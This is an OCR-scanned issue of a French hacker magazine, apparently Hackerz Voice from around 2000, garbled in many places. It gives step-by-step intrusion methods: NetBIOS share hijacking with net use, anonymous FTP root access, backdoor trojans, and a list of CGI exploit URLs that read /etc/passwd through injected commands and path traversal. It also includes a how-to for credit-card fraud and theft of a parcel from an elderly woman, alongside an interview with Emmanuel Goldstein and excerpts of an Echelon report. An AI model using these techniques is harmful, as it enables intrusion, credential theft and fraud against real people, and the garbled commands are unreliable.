illégal constitue , pour
les hackers, le plus
prestigieux des actes
de piraterie .

Plusieurs méthodes,
largement diffusées sur
le web ét ailleurs sont
utilisées. Celle-ci, nom-
mée “Bonny”du nom de
la célébre femme pirate
Anny Bonny passe pour
la classique des clas-
siques. Elle a été crée
par une des rares hac-
keuses (aujourd’hui
rangée) sévissant sur le
réseau

( s ecteurs 3

Les informations publiées dans Hac-
kerz Voice ont un objectif purement
documentaire. Le journal rappelle & ce
titre que le piratage informatique,
sous quelque forme que ce soit, est
un délit (lire page 7). Hackerz Voice
condamne naturellement toute forme
de piratage et soutien sans ambiguité
les actions de toutes les organisations
qui luttent contre la cyber-criminalité.

[
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@ COMMENT ILS PROCEDENT

/
f

1/ faut ouvrir une fenétre MS-DOS. Si le pirate est sous windows, il tape la commande suivante qui permettra de N

trouver le nom de l'ordinateur & qui appartient cette adresse ip:
nbistat -A Ip_de_I’ordinateur_distant

2/ Ensuite il voit apparaitre différentes lignes de codes. Ces lignes différent selon le type d’adresse, attribuée ou
non. Si un message d'erreur s'affiche (host not found), le pirate d’adresse. Si des kyrielles de lignes s'affichent,le
pirate jubile, car il est sur la bonne voie. Si la ligne ci desous s’affiche , au milieu des autres, il crie “jack-pot” et com-
mande une pizza.

nom_de_I"ordinateur_distant<XXX>UNIQUE Registered

3"Maintenant quil posede I'ip et le nom de I'ordinateur distant, il va ouvrir et modifier I'éditeur de Dos en tapant la
commande suivante: .

edit Imhosts

4"Le pirate est maintenant dans I'éditeur de Dos. Il tape les commandes suivantes:
Ip_de_{’ordinateur nom_de_I'ordinateur #PRE

5;’ Le pirate enregistre et quitte I'éditeur. De retour sur le Dos, il tape la commande suivante:
nbistat -A. Il obtient: : «Successful purge and preload of the NBT Remote Cache Name Table»

6/ tape maintenant:
net view \\nom_de_[’ordinateur
7 Il se place alors dans le répertoire de windows

8/Etil tape:
net use \\nom_de_F'ordinateur\X. Pour accéder au répertoire odl se trouve windows, il tape ¢$ 2 la place du X.

Ca y'est, le pirate est maintenant sur le disque dur de 'ordinateur distant.|l peut y faire ce qu'il veut.

Cette f‘ll_l.ﬂlﬂl‘l de haut vol se déroule sous Dos puisque le pirate uti-
lise ici le NetBios et qu’il a besoin d’une adresse IP du nom de I'ordinateur distant.
Le propriétaire de cet ordinateur doit en outre avoir activé son «partage de fichiers».
Il faut donc beaucoup de conditions, presque jamais réunies, pour permettre I'intru-
sion via cette méthode. Il faut savoir qu’il en en existe bien d’autres, beaucoup plus
compliquées, permettant a des pirates experts de pénétrer sur tous les P.C. dans
n’'importe quelles les conditions.




- Une autre technitue : le hack par fip

Cette méthode trés ancienne est bien
décrite par de nombreux pirates. Elle
permetdepénétrer al'intérieur de tous
les serveurs non sécurisé par le pro-
tocole ftp. Ce moyen de procéder ne
foncti doncpas surlabanqued

France, nisurle pentagone, nid'ailleurs
surlapluparc des serveurs. Alors, si, lors
de satentative,un message indique que
le serveur est protégé, normalement,
le pirate nes’acharnera pas et rebrous-

serachemin. Seuls quelques (trésrares)
serveurs permettent encore l'accés
par ce moyen aussi simple...

COMMENT ILS PROCEDENT

a’ouvrir I'URL du site

b quote user ftp

¢ quote cwd ~root

d quote pass ftp

Notez qu'a chaque ligne de la fenétre

X Les commandes Ftp

mkdir’ pour créer un répertoire
rmdir/ pour supprimer un répertoire
pwd./ pour se répérer sur le disque.
cd/ pour aller dans un répertoire

dir ou Is : pour voir le contenu de la
racine ou du répertoire oii vous étes.

cd /: pour revenir a la racine. Ne pas
oublier I'espace entre cd et /.

€d ../ pour revenir au répertoire précé-
dent. Ne pas oublier I'espace entre cd et

del’ pour supprimer un fichier (ne
JAMAIS LE FAIRE)

@et’ pour prendre un fichier et le
mettre sur votre bureau (ne JAMAIS LE

FAIRE) put/ pour prendre un fichier
de votre bureau et le mettre sur le ser-
veur (ne JAMAIS LE FAIRE) (s’emploi
de la méme maniére que «get»).
ascll’ passe la connection en mode
ascii.

binary/ passe la connection en
mode binaire.

system/ pour savoir sous guel 0S
tourne ce serveur ainsi que la ver-
sion du démon.

help/ pour connaitre toutes les com-
mandes que ce serveur accépte.
open  permet d’établtir une connection
avec un serveur distant.

dans laquelle doivent étre rentrées
cesinstructions,lamention «ftp>» appa-
rait. Une fois que vous étes dans le
systéme cenesont plus les commandes
Dos ou Unix qui s'appliquent mais
bel et bien les commandes frp ! 1!

quit/ pour se déconnecter du serveur
distant.

%X Les secrets du code FTP

Que vous soyez hacker actif, impétrant ou simple utilisateur du net, vous avez a coup sir croisé un jour un
code Demon FTP. Ce programme geére les protocoles d'échanges de fichiers. A quoi correspondent ces codes,
c’est toute la question . Quand vous les connaitrez, vous comprendrez a peu prés tout ce qui se passe sur

n’importe quel serveur ftp.

Premiére chose a savoir, chaque chifire
posséde une signification précise et
particuliére, comme dans un véritable
langage.

Le premier chiffre correspond a un type
de réponses

Le chiffre 1 signifie réponse positive

Le chiffre 2 signifie réponse positive sur
une commande et une action

Le chiffre 3 signifie réponse positive
intermédiaire, mais le serveur attend des
compléments d'informations.

Le chiffre 4 signifie un refus

Le chiffre 5, lui, signifie un échec définitif.

Le deuxiéme chitfre correspond  un
autre type de réponses

La 0signifie erreur de syntaxe.

Le 1 indique une information.

Le 2signale un message a propos du
canal de transmission.

Le 3 se rapporte & une authentification
Lo 4ne s'utilise jamais utilisé.

Le 8signale une alerte concernant I'état
du systéme de fichiers.

Ce qui donne
90/ Restart marker reply.

bhaiw e

120/ Service ready in nnn minutes. (nnn
est un temps)

128/ Data connection already open;
transfer starting.

180 File status okay; about to open data
connection.

201/ Command okay.

202 /Command not implemented, super-
fluous at this site.

211 System status, or system help reply.
212/ Directory status.

213/ File status.

214/ Help message.

218 NAME system type.

220 Service ready for new user.

227/ Service closing control connection.
228/ Data connection open; no transfer in
progress.

228/ Closing data connection.

227 'Entering passive mode (h1, h2, h3,
h4, p1, p2).

230 'User logged in, proceed.

280/ Requested file action okay, comple-
ted.

287/ «PATHNAME> created.

331/ User name okay, need password.
332/ Need account for login.

380 /Requested file action pendingfurther
information.

421/ Service not available, closing
control connection.

428/ Can't open data connection.

428/ Connection closed; transfer abor-
ded.

480/ Requested file action not taken.
(Fichier déja utilisé par autre chose)
481/ Requested action aborded: local
error processing.

482/ Requested action not taken. (Pas
assez de mémoire pour exécuter I'action)
800/ Syntax error, command unrecogni-
zed.

801/ Syntax error in parameters or argu-
ments.

802 Command not implemented.

803 'Bad sequence of commands.

804/ Command not implemented for that
parameter.

830/Not logged in.

832/ Need account for storing files.

880/ Requested action not taken.
(Fichier non trouvé, pas d’accés pos-
sible,...)

881/ Requested action aborded: page
type unknown.

882/ Requested file action aborded.
883/ Requested action not taken. (Nom
de fichier non attribué)

ACKLRICK

{} smiFFeR
‘Sniffer n’est pas un verbe mais un
nom commun désignant un logiciel
permettant d'intercepter des infos
sur un réseau : mots de passe, noms
des hotes autorisés, adresses...

{} BLOOFFER
Logicielqui brouille les adresses IP,
de maniiére a éviter d'atre repéré,
(tracé). Réservé aux débutants parce
que pas sar a 1000 %.

{} FLOODER
Un flooder est un petit programme
permettant de freiner considérable-
ment la vitesse de communication
entre deux utilisateurs sur un réseau.
Trés facile a utiliser : il suffit d’avoir
I'adresse IP de la victime.

G SCANNER
Programme permettant se connaitre
a coup siir le serveur propriétaire
d’une adresse, a partir de son numé-
ro, ou de si un port spécifié est bien
ouvert sur un ordinateur.

\ ™

rﬂ nos lecteurs
Les informations publiées dans Hac-
kerz Voice ont un objectif purement
documentaire. Le journal rappelle a ce
titre que le piratage informatique,
sous quelque forme que ce soit, est
un délit (lire page 7). Hackerz Voice
condamne naturellement toute forme
de piratage et soutien sans ambiguité
les actions de toutes les organisations

ui luttent contre la cyber-criminalité.

q
9 J
(Encore) une autre tech-
nique : le hacking par
ouverture de backdoor.

Pour cela, les pirates urilisent des pro-
grammes spécifiques d’ouverture de
«backdoor» comme Master's paradis,
Backdoor2, Absolute Controletc.... Tous
ces petits prog; sont trouvabl
plus ou moins facilement (plutér plus
que moins) sur le Web. Ils fonction-
nent tous de la méme fagon. En effet,
pour fonctionner, ces programmes
ont besoin d’un virus, dont la fonc-
tionestd’ouvrirun portl'ordinateur.Le
virus agit ensuite comme serveur et le
programme agit comme « client «.
Lorsquel'ordinateur du pirate est infec-
téparlevirus (volontairement), il luisuf-
fit d’entrer 'adresse IP de sa cible
(lire plushaut), puisde fai «

« pouravoir accés l'ordinateur, Unaccés
libre avec acces au disque dur, modifi-
cation des mots de passe etc...

.



Toujours curieux et en éveil, des pirates ont remarqué que de nombreuses
adresses internet (URI) comportait la mention « cgi-bin ». C’estle cas, par exemple,
lorsque I'on tape « vélo » dans Altavista.
Ladresse qui s’affiche devient :
htlp:llwww.altavista.comlcgi—binlquery?q=velo&kI=XX&search.x=40&sea etc...
Concrétement, voici quelques petits exemples, trouvés sur Internet, d’actes
de pirateries possibles avec Netscape.

Avertissement : le texte et les explications ci-dessous reprennent dans leur intégralité une séquence trouvée sur internet.
Son auteur, qui se présente comme hacker, est anonyme. Rien n'a été modifié, sauf le nom du site utilisé dans cet exemple.
Le style et la langue utilisés sont assez représentatifs de lesprit “hacker” . Nous publions ce document comme une illustration et pour
I'édification personelle de chacun.

@ COMMENT ILS PROCEDENT &

Début du document
m.

Des filtres pas trés au point sur certaines requétes permettent d’accéder
au fichier contenant le password root sur les serveur tournant sous
NCSA (version inférieure ou égale & 1.5) et sous apache (versions infé-
rieures & 1.0.5):
hitp://url_du_site/cgi-bin/phi?Qallas=x%0a/bin/cat%20/etc/passwd
Exemple: http://www.vafavafa.com/cgi-
bin/phi?Qalias=x%0a/bin%20/etc/passwd

Pis (un autre bug):

|dem mais I3, la commande change vraiment trés peu et ¢a ne marche *
pas que sur ceux énumérés au dessus:
Imn:[/url_rlu_sitefugi-binlpm?l]name=x%tla,fhin,i:at%zufell:ipasswd
Exemple: http://www. vatavafa.com/cgi-
bin/phf?Qname=x%0a/bin%z20/etc/passwd

Php:

Méme chose que ci-dessus sauf que c'est avec php. La syntaxe n'est
pas la méme mais le résultat est identique, on a le pass root:
http://url_du site/cgi-bin/php.cgi?/etc/passwd

Exemple: hitp://www. vafavafa.com/cgi-bin/php.cgi?/etc/passwd

Php (un autre bug):

|dem mais I3, la commande change vraiment trés peu:
hitp://url_du site/cgi-bin/php?/etc/passwd

Exemple: http://www. vafavafa.com/cgi-bin/php?/etc/passwd

Query:

La c'est encore la méme chose mais ¢a marche avec query:
hitp://url_du site/cgi-bin/query?%0a/bin/cat%z20/etc/passwd
Exemple: http://www.vafavata.com/cgi-
bin/query?%0a/hin/cat%20/etc/passwd

_Htmlscript:

L4 aussi ga sert a devenir root en trouvant le pass root, le tout est de
savoir ol se trouve le répertoire /etc par rapport au cgi-bin. Si vous
connaissez un peu I'arborescence des répertoires sous UNIX vous ne
devriez pas avoir trop de probleme a vous repérer, surtout que vous
n'étes pas obligé de mettre /etc/passwd mais par exemple: Jusr/rhylkim,
sous peine bien sar que le fichier rhylkim et le répertoire /usr existent.
hitp://url_du_site/cgi-bin/htmlscript?../../etc/passwd

Exemple: hitp://www.vafavafa.com/cgi-
bin/htmiscript?../../../etc/passwd

Dans cet exemple il s'agissait de redescendre  la racine la ol se trouve
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le répertoire /etc et pour cela on est descendu de trois niveaux vu que
dans cet exemple, le cgi-bin se trouvait dans le répertoire: /web/info/reve-
lation. Mais ce n'est qu'un exemple. Le cgi-bin pourrait trés bien se trou-
ver dans le répertoire: /bin/rhylkim et on aurait été obligé de faire:
hitp://www.vafavafa.com/cgibin/htmiscript?.... ./fetc/passwd.

Si vous voulez comprendre la structure de ces exploits, je vais vous les
expliquer un peu. Le %0a correspond & un «enter» en pearl et le %20 a
un «espace» en pearl. Les cat est un éditeur sous unix et les fait de faire
«cat%20/etc/passwd» aura effet de faire «cat passwd» dans le répertoire
Jetc ce qui aura pour effet de vous dévoiler intérieur du fichier comme
vous pourriez le faire avec word.

Dans quel cas les cgi phf et autres scripts ne servent a rien? Si le serveur
a ses pages web qui transitent par le port 8000, 8001 ou 8080 ca ne sert
A rien d’essayer car méme si les bug des cgi sont présents, vous ne pour-
rez pas accéder au répertoire contenant le fichier passwd. En effet, le hitp
passe le plus couramment par le port 80 mais le port 8080 est aussi trés
souvent utilisé notamment pour ce qui concerne les proxy. Les ports
8000 et 8001 sont assez peu utilisés mais que cela ne vous étanne pas si
vous tombez dessus. Vous pouvez récupérer le passwd avec les cgi sile
http passe par le port 80 car c’est un port privilégié et les 8080, 8000 et
8001 ne le sont pas. Un port privilégié signifie que seul le root ou une
personne loguée en tant que root (su) peut I'utiliser ou utiliser des pro-
grammes faisant transiter des paquets par celui ci. Pour savoir si un ser-
veur a son hitp sur le port 80 ou autres c’est assez simple, mettez
«n°_du_port» aprés son DNS.

Exemple: si le serveur a son http a l'adresse http://www.vafavafa.com/,
faites http://www.vafavafa.com:80/ et si la page reste la méme il est sur
e port 80. Bien sur si vous obtenez une page vide avec des mots comme
«not found» genre ce que I'on trouve en faisant hitp://www.fbi.gov:8080/
ou une page non attribuée (faites le méme serveur mais avec le port
8000) c’est que le http ne se trouve pas sur le port que vous avez deman-
dé.

Bien sOr je n'ai pas tout a fait raison quand je vous dis que les scripts cgi
ne servent & rien si le http n'est pas lancé en root. Cela pourra toujours
vous donner un accés user sur la bécane si le bug est présent. Et on ne
devient pas toujours root tout de suite (et méme loin de 1) et I'acces user
est toujours plus important qu'un accés en anonymous surtout que si
I'account de cet user a servi au hitp il a peut étre servi a autre chose. Mais
il se peut aussi que cet account soit stérile car Padmin a trés bien pu utili-
ser un port différent du 80 par mesure de sécutité et donc a prévu le fait
que I'account sous lequel il a lancé le hitp soit hacké par la suite.

Fin du document




Question/ Pouvez vous définir le Hac-

king ¢
Réponse/Poser beaucoup des questions
et refuser de cesser de s’en poser.
Voila pourquoiles ordinateurs convien-
nent parfaitement aux curieux. Ils ne
vous disent pas de vous taire lorsque
vous lesaccablez de questions etde com-
mandes sans réponses. J'ajoute que le
Hacking ne se limite pas aux réseaux
informatiques. Quiconque ayant l'es-
prit d'investigation, le goiit de I'aven-
ture etdes convictions en ce qui concetne
la liberté d'expression est un peu
hackeur au fond'de lui-méme.

0/ Existe-t-il des formes légales ou

convenablé de Hacking 2
R/ C'est le malentendus le plus répan-
du : tout hacker est réputé criminel.
Quel triste reflet de notre société
que de réaliser qu'une personne, qui
necherche dansle fond que des connais-
sances et la vérité passe pour un étre
néfaste. Rien n'est plus loin de la véri-
té. De par leur ingénuité idéaliste, les
Hackers révélent les faits qu'ils décou-
vrent, des secrets institutionnels aux
couvertures gouvernementales.

Q/vousagissez doncen pleine lumié-

re?d
R/ Nous n'avons rien  cacher, ce qui
explique notre ouverture relative par
rapport 4 nos activités, qu'il s'agisse
detenir uneréunion dans un lieu public,
oudegérer un systémeaccessible atous,
sans tenir compte du milieu social.
Le fait de ne pas se livrer pas au”
petit jeu de I'occulte” constitue une
menace dans'esprit de ceux, nombreux,
qui tiennent 3 dissimuler la vérité au
public. Mais il est exact que nous
pronons un hermétisme absolu pour
éviter les intrus. Il est intéressant de

constater que ce sont les hackers qui
unherméti: inviolable ;
si nous avions vraiment envie de nous
i danslesaffaires p
d’autrui ce serait contradictoire de
conseiller des mesures sécurité maxi-
males, toutefois il existe des particu-
liers qui cherchenta miner 'hermétisme.

0/ Quel est le vrai but de hacking ?
R/Chercher des connaissances, décou-
vrir des nouveautés, étre le premier
déceler une faiblesse dans un systé-
me informatique ou obtenir tout sim-
plement un certain résultat d'un
programme donné. Comme je I'ai
déja dit ceci ne se limite pas au monde
informatique. Quiconque ayantl'esprit
d’aventure oud’exploration,commeun

journaliste 4 la recherche de la vérité,

connait le sentiment de vouloir faire
quelque chose de nouveau ou de trou-
ver laréponse malgré tous les obstacles.

O/ Etes-vous un hacker 2

R/ Oui. Il ne s'agit pas d’effacer cela
desa personnalité nivouloir ce faire par
principe. Une fois que vous avez
perdu le désir de tripoter du maté-
riel, ipuler les progt etles
systémes ou tout simplement recher-
cher obstinément une réponse pour
obtenir un résultat, vous avez laissé
de coté une partie intégrante de vous-
méme. I se peut que de nombreux hac-
kers" réformés” perdent ce composant
particulier au fur et 2 mesure qu'ils
devi partiei wte,d’'un autre
secteur qui exige 'ime méme du par-
ticipant. Pour ceux qui savent résis-
ter ou envisager une maniére d'investir
leurs activités de hackers d'une légi-
timité sans se renier pour autant, il faut
contempler I'avenir avec optimisme.

o/ Quel genre de hacking pratiquez-

Je pense gue les hackers sont nécessaires ;
Uavenir de La technologie et de la société
méme dépend de comment nous abordons
les questions &'aujourd’hui ot les hackers
jouent un role important.

Ceci peut annoncer une nouvelle époque
ot déclencher le capharnaiim.

APty s

W08y Widy way

“Nous n'avons rien a cacher”

Entretien avec Emmanuel Goldstein,
rédacteur en chef de “ 2600 “,
le mythique-éthique journal des hackers américains

“ A chaque fois qu'un film comme

“ Hackers “ sort sur les écrans

ou passe a la télévision, 10 millions 8'in-
ternautes nous envoient des courriers
electroniques pour nous demander
comment devenir hackers “

vous ?

R/ 1l est rare qu’une journée passe
sans quej'expérimente un systéme télé-
phonique d’une maniére quelconque
;unsystéme de courrier vocal, téléphone
payantoumon propre appareil. ] ai tou-
jours éprouvé une fascination pour cette
possibilité de pouvoir attendre presque
n'importe qui sur la planéte 4 l'aide
de quelques touches et je ne perdrai
jamais ce sens d'émerveillement.
Une des affaires les plus épatantes
auxquellesj'ai participé a écé de dérou-
ter des appels téléphoniques au sein du
réseau méme - appelé” blue box*. Ce
n'est plus trés facile mais c’était une
maniéreamusanted’apprendrel’agen-
cementduréseau et son systéme de com-
munication.

0/ larrive fréquemment que cesnou-
velles technologies soient congues
justement par des hackers d’an-
ciennes technologies... D’habitu-
de le résultat est un renforcement
de sécurité et des systémes plus adap-
tés au public.
R/Bien queje passe beaucoup detemps
ajouer avec des appareils téléphoniques,
j'éprouve la méme sensation ludique
avec l'informatique et 4 explorer pen-
dant de longues périodes Internet.
On a du mal 4 croire que cest effecti-
vement considéré comme un délit
qued’écouter certaines fréquencesnon
brouillées. C’est le prix 4 payer face 2
lanon-compétence de ceux quisont res-
ponsables de gérer la technologie.

O/ Vous y passez combien de temps
P p
par semaine ?
R/ C’est comme si vous me deman-
diez combien de temps je passe  res-
pirer. C'est omniprésent, méme quant
je dors, je réve” hacker.”

Q/ Y a-t-il un certain type de site

oude” cible” quivous attire plus par-

ticuliérement 2
R/Laplupart deshackers opérentseuls
et fontles trouvailles et des découvertes
en” bricolant”. Nous partageons ces
informations et d'autres en fournissent.
Puisquelqu'unenparleilapresseetau
gouvernement et c’est I'enfer qui se
déchaine. Je pense quela plupart d’entre
nous sommes attirés par les sites et
réseaux qui sont censés étres inacces-
sibles ; il s’agit d'une réaction humai-
ne tout a fait normale face au défi et
le fait méme que nous continuions mal-
gré rant de sanctions, démontre 4
quel point il s’agit d'une force motri-
cepuissante. Lorsqu'on nousaura recon-
nUs en tant que personnes positives,
ilse peutque nous nous apprenions des
choses les uns aux autres.

0/ Qu’est-ce qui attire les gens

vers le hacking, de maniére géné-

rale ?
R/ Lintérér de la liberté de s’expri-
mer,le pouvoir del'individu face al'état
ouauxinstitutions et unesensation pré-
dominante du ludique.
Les humains ont toujours été stimu-
lés par'aventure et'exploration. Autre-
fois, c’était impossible d'y accéder
sansquitter son petit chez soi, sans tenir
compte de la couleur de sa peau, sa
religion, son sexe ou méme le son de
sa voix. Sur Internet, tout le monde
est égal avant de s'avérer étre un imbé-
cile.Etméme, on peut toujours recom-
mencer i zéro ! C'est pouvoir aller
n'importe ot parler A n'importe qui, ne
pas montrer ses informations per-
sonnelles sauf si on I'a décidé.

0/ Ce -vous per llement

suffisamment de hackers pour
pouvoir constater des traits de carac-
tére communs... ?
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Quicongue ayant Uesprit d'investigation,
le goiit de U'aventure et des convictions en
ce qui concerne la liberté d'expression est
un peu hackeur au fond de lui-méme.

R/Ils viennent de toutes sortes demilieux
et ont des styles de vies variés. Ce ne
sontpasles” gars” delatélévision oules
cyber-terroristes des conférences de
presse.Ilyaune fourchette d’age quiva
de dix 4 au-deli de soixante-dix ans.
11y en a partout dans le monde, c’est
une chose extraordinaire, pleine d'ins-
piration que de voir ce qui se passe quand
ils se réunissent. Tout est centré sur
la technologie, I'excitation dela décou-

réleimportant. Cecipeutannoncer une
nouvelle époque ot déclencher le
capharnaiim.

0/ Quel est le pourcentage des-
tructeur d’aprés vous par rapport
A ceux quifont cela par curiosité intel-
lectuelle ou pour se mettreal’épreu-
ve?
R/ Cecisouléve plusieurs questions qui
sont trés importantes pour moi : pre-

verte,le partagedes Ceci
transcende tousles problémes liésd des
différences de personnalité qui peuvent
survenir dans d’autres circonstances.

0/ Pensez-vous qu'on peut quali-
fier les hackers de productifs ?
R/ Je pense que les hackers sont néces-
saires ; l'avenir de la technologie et
dela P
nous abordons les questions d’au-
jourd’hui on les hackers jouent un

P 7 .
mér deco!

ié le hackingest le seul domai-
ne o1 les médias croient celui qui se
dithacker . Croiriez-vous quelquun qui
prétend étre soit un flic, soit médecin
ou pilote sans en avoir méme le début
de la preuve ? Or on peut aborder
n'importe quel journaliste et il écrira
votre histoire en disant que le hacker
estcequ'il prétend étre etsans véritable
preuve. Alors chaque fois qu'un film
comme” Hackers” sort sur les écrans,
10 millions d’abonnés sur AOL nous

BIl a5 scstedmmmue 010
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Le vrai pouvaie
des mratg!s_'
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envoient des courriers
électroniques demandant
comment devenir hackers
aussi et tout d’un coup,
tous les gamins de douze
ans qui partagent ce sen-
timent deviennent hac-
kers deuxyeux des médias
et donc de la société.

Onnedevient pas hacker
en claquant des doigts,
il ne s"agit pas d’obtenir
desréponses facilesoude
passer des appels télé-
phoniques gratuits voire
de faire intrusion dans
I'ordinateur de quelqu’un
d’'autre. Le Hacker” res-
sent” ce qu'il fait... Len-
tourage a I'air de penser

Aux Etats -unis, 2600
est une véritable insti-
tution. Alafois journal tri-
mesiriel et signe de
ralliement de la branche
“ éthique “, si I'on peut
dire, du hacking, cette
organi-sation ne doitson
droitd’exister qu'au pre-
mier amendement de la
cons-titution américaine.
La publication fait régu-
litrement I"objet de pro-
cés. Le titre 2600 fait
référence a la fréquen-
ce utilisée par les pre-
miers hackers pour
reproduire le sondutélé-
phone, etainsipiraier les
lignes des principales
compagnies ameéri-
caines. Emmanuel Goldt-
sein, I'undes rédacteurs
enchefdu journal, estune
des principales figure
du hacking dans le
monde.

AreesssstAs bR NER R KRR

des résulrats, vous avez
un bon fonds d’hacker
mais étreassaillis par des
gens qui ne cherchent
qu'a téléphoner gratui-
tement, faire des exploits
ou avoir du software.
Sivous étes complaisant,
vousn'étes quunoppor-
tuniste et peut-étre
méme un criminel.

0/ Que réserve I'ave-
nir au hacking ?

R/ Autant que l'esprit
humain vivra, il y aura
toujours des hackers.
Nousluttons contrel’ad-
versité des peines de
prison etle fait d'étre vic-

times dans la société,
0/ Avec les mesures de plus en plus
rigoureuses mises en ceuvre par

qu'on perd son temps mais nous aimons
authentiq; il quinous

a
fait avancer intrépides dansla poursuite

notretr;
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Les trés mauvals plans de Loola Voleuz

Pour rotca une 16/9% par Internet il te faut un peu de matos. Regarde bien, méme dans les coins : tout est la.. //
Prend le bordereau qui accompagnait le dernier CD de Passy que tas commandé chez métazone.com. Refait le sur ton
ordi et tire le en couleur.. // Sur ton portable you need : windows ou un Linuxet Netscape. Ensuite, tu branches le
fil du phone au modem et tu dénudes les bouts qui pendent pour les accrocher a des pinces crocos. Pendant ce
temps, tu trouves sur le web le number d'une CB tranquille. Yeap ' // Promenade dans les beaux quartiers. Tu repéres
une maison sans histoire, avec une gentille mére-grand dedans, dont tu notes le nom et ladresse. Yes ? Ensuite, direc-
tion la borne teéléphonique la plus proche. Tu branches le modem bricolé et, avec un CD de fournisseur gratuit d'ac-
cés.. // ..Tu te connectes et tu commandes chez la mamie la telé sur metazone. com. // Deux jours aprés, la com-
mande arrive chez la dame. Avec tes bordereaux, déguisés en coursier, tu lui monte gentiment le crane en t'excusant
de t'étre trompé d'adresse et tu récupére ta tél..
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L Assemblée nationale francaise reconnait I’exist
et le danger qu’il réprésente sur les libertés publ

Les Etats sont les premiens

11 octobre 2000.

Rapport d’information dépo-
sé en application de I'article

armées (1),sur les systémes
de surveillance et d'inter-
ception électroniques pou-
vant mettre en cause la
sécurité nationale, et pré-
senté par M. Arthur Paetch,
3 Député.

Au terme de ses réflexions, votre Rap-
porteur aimerait rappeler un certain

sur Echelon...
Quellessonttout d’abordles certitudes
que votre Rapporteur vous deman-
de de partager ?

Oui, il existe bien un y din-
terception et de traitement des infor-
mationsnommé Echelon.Ilest

rcousmlmnn T W Pour la premiére fois, la France, sous la forme d’un rapport parlementaire, reconna
OCTOBRE1958 d’interception des données transitant par les réseaux. Hackerz voice publie la conc
Onzizme législature té Arthur PAECHT.
Eg?ggml'gepﬂgfi?:a"f:u CONCLUSION GENERALE

« Oui, les capacités d'un tel systeme sont

nombre des constats qu'il a effectués -
145 du Réglement par la s i ety réelles et elles le rendent performant,
commission de la défense . ’ ogu, -
nationale et des Forges 1. A partir de quelques certitudes Comptﬂ tEHu 095 mu‘tlplﬂs V“lﬂ?l’dhllltes

des systemes d'information et de commu-

nication »

en réseau. Il s'agit d'ailleurs du seul
systéme multinational connu.

r
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Oui, les capacités d'un tel systéme sont
téelles et elles le rendent performant,
compte tenu des multiples vulnérabi-
lités des systémes d'information et de
communication. Le développement
du réseau s'est appuyé sur le dévelop-
= de ¢ r é E)
la mise en place de multiples installa-
tions. Il a bénéficié d'importants inves-

techni et

et d’autres services de renseignement
pour des raisons de sécurité liées 2 des
besoins militaires oulanécessité delut-
ter contre le terrorisme ou le grand
banditisme.

Oui, Echelon peut constituer un
danger pourleslibertés publiqueset indi-
viduelles. A ce titre, son existence
pose de nombreux problémes et néces-
site donc des réponses appropriées.

re adaptée. Il revient en priorité a
ces acteurs de protéger leurs com-
munications en ayant recours aux
moyens de protection, dont la cryp-
tologie n'est qu'un des aspects, et
cela en fonction du degré de confi-
dentialité qu'ils estiment nécessaire
pour ces communications ;

- au sein de chaque structure consti-
tuantune cible potentielle des écoutes

enhommesetenéquip En effet, il serait vain d'imaginer que . ou des attaques informatiques, il
depuisprésdeq Ifautcepen- lespaysmembres duréseaucessentleurs conviendrait de recommander la

dant ajouter que les performances ont
atteint leurs limites, non seulement parce
que les moyens engagés ne sont plus
en rapport avec I'explosion des com-
munications dans le monde mais aussi
parce que certaines cibles ont appris &
se protéger des interceptions.

Oui, le systéme Echelon a «divergé»
par rapport i ses objectifs initiaux,
qui étaient fondamentalement liés au
contexte de la guerre froide et par rap-
port méme aux conditions du pacte
initial UKUSA entreles cing partenaires.
Il n’est pas impossible que des infor-
mations recueillies soient utilisées &
des fins politiques et économiques, voire

activités. Le systéme dailleurs évolue
et s'adapte. Plusieurs indices semblent
inciter A croire qu'un nouveau systé-
me s’est constitué pour dépasser les
limites d’Echelon grice 4 de nouveaux
moyens et sans doute de nouveaux
partenariats.

2. ...Quelles peuvent étre des propo-
sitions concrétes pour diminuer les
risques ?

Les constatations quiprécédentappel-
lent I'application d'un principe géné-
ral de précaution. Ce principe suppose
que soient prises des mesures qui vont
au-dela des premiéres mesures de pré-
vention liées 4 la sécurité des systémes

formation de responsables de la
sécurité des systémes de communi-
cation ;

-la production de logiciels sirs,
tant en matiére de cryptographie
que pourles applicationsbureautiques
etinformatiq pré

tion essentielle de I'efficacité d'une
riposte. Dans un premier temps, ces
logiciels pourraient étre nationaux
mais on peut imaginer qu'ils seront
européens arelativement court terme ;

ondi-

- la libéralisation des programmes
de cryptographie ou de chiffrement
devient impérative. Elle pourrait

al'encontredecertainsmembresdel'Al-  d'information et de ication étre double. Non seulement le dis-
liance atlantique. Si les preuves man-  (SIC). Pour cela, plusieurs actions  positifjuridique francais devraic auto-
quent pour évoquer I'espionnage  sontconcevables.Elles constituentautant riser la vente et I'utilisarion de
industriel, les propos d’anciens res-  de propositions de votre rapporteur : programmes d'une capacité de 128 bits

ponsables d’agences de renseignement
constituent autant d’aveux.

Oui, des liens bilatéraux ont été orga-
nisés entre les Etats-Unis, 'UKUSA

- l'information de tous les acteurs
sur les risques potentiels et leur
sensibilisation constituent des préa-
e .
ponrlspreaneatios puiue
de protection nécessaires de mani¢-

mais ].CS échanges qlll supposent
1 N e

fidentialité,

l'édrla,n;e de clés, devraient bénéfi-
cier d’une libéralisation accrue pour
des produits d’une valeur supérieu-




M

ince du réseau échelon
gques.

hackers du monte

tt I’existence d’un vaste systéme multinational d’écoute et

ision intégrale de ce rapport officiel présenté par le dépu-

re 4 la limite de 128 bits qu'envisage
le Gouvernement actuel (jusqua 1024
bits par exemple) ;

-larevalorisation des fonctions de ren-
seignement aurait pour but de faire
naitre dans notre pays une véritable
culture dusecret et du renseignement
qui lui fait actuellement défaut. Elle
pourraits'inspirer dela considération
dontbénéficielacommunautéduren-
seignement dans les paysanglo-saxons,

en patticulier au Royaume-Uni ;

- I'élaboration d'une véritable déon-
tologie du renseignement représen-
teégalementun objectif essentiel pour
protéger les libertés individuelles 2
tous les niveaux.

Les particuliers n’ont pas toujours
les moyens ni n’éprouvent l'utilité de
mettre en _uvre des mesures de pro-
tection de leurs communications alors
qu'ils sont les premiéres victimes des
atteintes aux libertés publiques.Ilappa-
raitdonc nécessairequedes. ds soi
conclus entre Etats afin d'élaborer un
nouveau cadre juridique qui les rassu-
re et les protége.

- enfin, I'engagement de négocia-
tions internationales apparait indis-
pensabledans un débat quis'affranchit
du cadre national.

Plusieurs niveaux sont concevables
et les accords pourraient se négocier
surunmodebilatéral ou multilatéralafin
depromouvoir une réelleavancée démo-
cratique. Dans cette hypothése, il
pourrait &tre fait appel aux mesures
de protection et de garantie qui concer-
nentles citoyens américains et qui se ver-
raient érendues aux citoyens européens
